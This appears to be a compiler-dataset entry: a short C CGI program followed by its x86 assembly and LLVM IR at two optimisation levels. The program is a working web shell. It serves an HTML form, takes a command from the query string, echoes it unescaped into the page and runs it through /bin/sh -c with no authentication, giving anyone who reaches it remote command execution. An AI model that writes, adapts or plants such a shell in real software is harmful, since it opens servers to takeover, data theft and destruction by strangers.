#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ execl(char *, char *, char *, char *, int /*<<< orphan*/);
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
scalar_t__ getenv(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ stdout;
scalar_t__ strlen(char *);
char *uri_decode(char *);
int main(int argc, char **argv) {
  char *cmd;
  printf("Content-type: text/html\n\n");
  printf("<html><body>\n");
  cmd = (char *)getenv("QUERY_STRING");
  if (!cmd || strlen(cmd) == 0) {
    printf("<hr><p><form method=\"GET\" name=\"myform\" action=\"\">");
    printf("<input type=\"text\" name=\"cmd\">");
    printf("<input type=\"submit\" value=\"Send\">");
    printf("<br><br><hr></form>");
  } else {
    cmd += 4;
    cmd = uri_decode(cmd);
    printf("<hr><p><b>COMMAND: %s</b><br><br><hr><pre>\n", cmd);
    fflush(stdout);
    execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xe83(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe8f(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe8f(%rip),%rdi
call   1030 <getenv@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
je     11c0 <main+0x60>
mov    -0x18(%rbp),%rdi
call   1040 <strlen@plt>
cmp    $0x0,%rax
jne    11fd <main+0x9d>
lea    0xe6e(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe93(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xea4(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeb9(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    1253 <main+0xf3>
mov    -0x18(%rbp),%rax
add    $0x4,%rax
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rdi
call   1060 <uri_decode@plt>
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rsi
lea    0xe9d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    0x2db1(%rip),%rax
mov    (%rax),%edi
call   1070 <fflush@plt>
mov    -0x18(%rbp),%rcx
lea    0xea9(%rip),%rsi
lea    0xeaa(%rip),%rdx
xor    %r8d,%r8d
mov    %rsi,%rdi
call   1080 <execl@plt>
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
lea    0xf65(%rip),%rdi
call   1040 <puts@plt>
lea    0xf72(%rip),%rdi
call   1040 <puts@plt>
lea    0xe80(%rip),%rdi
call   1030 <getenv@plt>
test   %rax,%rax
je     11db <main+0x7b>
cmpb   $0x0,(%rax)
je     11db <main+0x7b>
add    $0x4,%rax
mov    %rax,%rdi
call   1060 <uri_decode@plt>
mov    %rax,%rbx
lea    0xef1(%rip),%rdi
mov    %rax,%rsi
xor    %eax,%eax
call   1050 <printf@plt>
mov    0x2e2a(%rip),%rax
mov    (%rax),%edi
call   1070 <fflush@plt>
lea    0xefe(%rip),%rdi
lea    0xeff(%rip),%rdx
mov    %rdi,%rsi
mov    %rbx,%rcx
xor    %r8d,%r8d
call   1080 <execl@plt>
jmp    1213 <main+0xb3>
lea    0xe2b(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xe50(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xe61(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xe76(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [26 x i8] c"Content-type: text/html\0A\0A\00"
@.str.1 = [14 x i8] c"<html><body>\0A\00"
@.str.2 = [13 x i8] c"QUERY_STRING\00"
@.str.3 = [51 x i8] c"<hr><p><form method=\22GET\22 name=\22myform\22 action=\22\22>\00"
@.str.4 = [31 x i8] c"<input type=\22text\22 name=\22cmd\22>\00"
@.str.5 = [35 x i8] c"<input type=\22submit\22 value=\22Send\22>\00"
@.str.6 = [20 x i8] c"<br><br><hr></form>\00"
@.str.7 = [44 x i8] c"<hr><p><b>COMMAND: %s</b><br><br><hr><pre>\0A\00"
@stdout = global i32 0
@.str.8 = [8 x i8] c"/bin/sh\00"
@.str.9 = [3 x i8] c"-c\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.1, i64 0, i64 0))
%9 = call i64 @getenv(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%10 = inttoptr i64 %9 to i8*
store i8* %10, i8** %6
%11 = load i8*, i8** %6
%12 = icmp ne i8* %11, null
br i1 %12, label %13, label %17
13: ; preds = %2
%14 = load i8*, i8** %6
%15 = call i64 @strlen(i8* %14)
%16 = icmp eq i64 %15, 0
br i1 %16, label %17, label %22
17: ; preds = %13, %2
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([51 x i8], [51 x i8]* @.str.3, i64 0, i64 0))
%19 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.4, i64 0, i64 0))
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.5, i64 0, i64 0))
%21 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
br label %33
22: ; preds = %13
%23 = load i8*, i8** %6
%24 = getelementptr inbounds i8, i8* %23, i64 4
store i8* %24, i8** %6
%25 = load i8*, i8** %6
%26 = call i8* @uri_decode(i8* %25)
store i8* %26, i8** %6
%27 = load i8*, i8** %6
%28 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.7, i64 0, i64 0), i8* %27)
%29 = load i32, i32* @stdout
%30 = call i32 @fflush(i32 %29)
%31 = load i8*, i8** %6
%32 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.9, i64 0, i64 0), i8* %31, i32 0)
br label %33
33: ; preds = %22, %17
%34 = load i32, i32* %3
ret i32 %34
}

LLVM IR (-O2):
@.str.2 = [13 x i8] c"QUERY_STRING\00"
@.str.3 = [51 x i8] c"<hr><p><form method=\22GET\22 name=\22myform\22 action=\22\22>\00"
@.str.4 = [31 x i8] c"<input type=\22text\22 name=\22cmd\22>\00"
@.str.5 = [35 x i8] c"<input type=\22submit\22 value=\22Send\22>\00"
@.str.6 = [20 x i8] c"<br><br><hr></form>\00"
@.str.7 = [44 x i8] c"<hr><p><b>COMMAND: %s</b><br><br><hr><pre>\0A\00"
@stdout = global i32 0
@.str.8 = [8 x i8] c"/bin/sh\00"
@.str.9 = [3 x i8] c"-c\00"
@str = [25 x i8] c"Content-type: text/html\0A\00"
@str.10 = [13 x i8] c"<html><body>\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([25 x i8], [25 x i8]* @str, i64 0, i64 0))
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @str.10, i64 0, i64 0))
%5 = tail call i64 @getenv(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%6 = inttoptr i64 %5 to i8*
%7 = icmp eq i64 %5, 0
br i1 %7, label %11, label %8
8: ; preds = %2
%9 = load i8, i8* %6
%10 = icmp eq i8 %9, 0
br i1 %10, label %11, label %16
11: ; preds = %8, %2
%12 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([51 x i8], [51 x i8]* @.str.3, i64 0, i64 0))
%13 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @.str.4, i64 0, i64 0))
%14 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([35 x i8], [35 x i8]* @.str.5, i64 0, i64 0))
%15 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.6, i64 0, i64 0))
br label %23
16: ; preds = %8
%17 = getelementptr inbounds i8, i8* %6, i64 4
%18 = tail call i8* @uri_decode(i8* %17)
%19 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([44 x i8], [44 x i8]* @.str.7, i64 0, i64 0), i8* %18)
%20 = load i32, i32* @stdout
%21 = tail call i32 @fflush(i32 %20)
%22 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.9, i64 0, i64 0), i8* %18, i32 0)
br label %23
23: ; preds = %16, %11
ret i32 0
}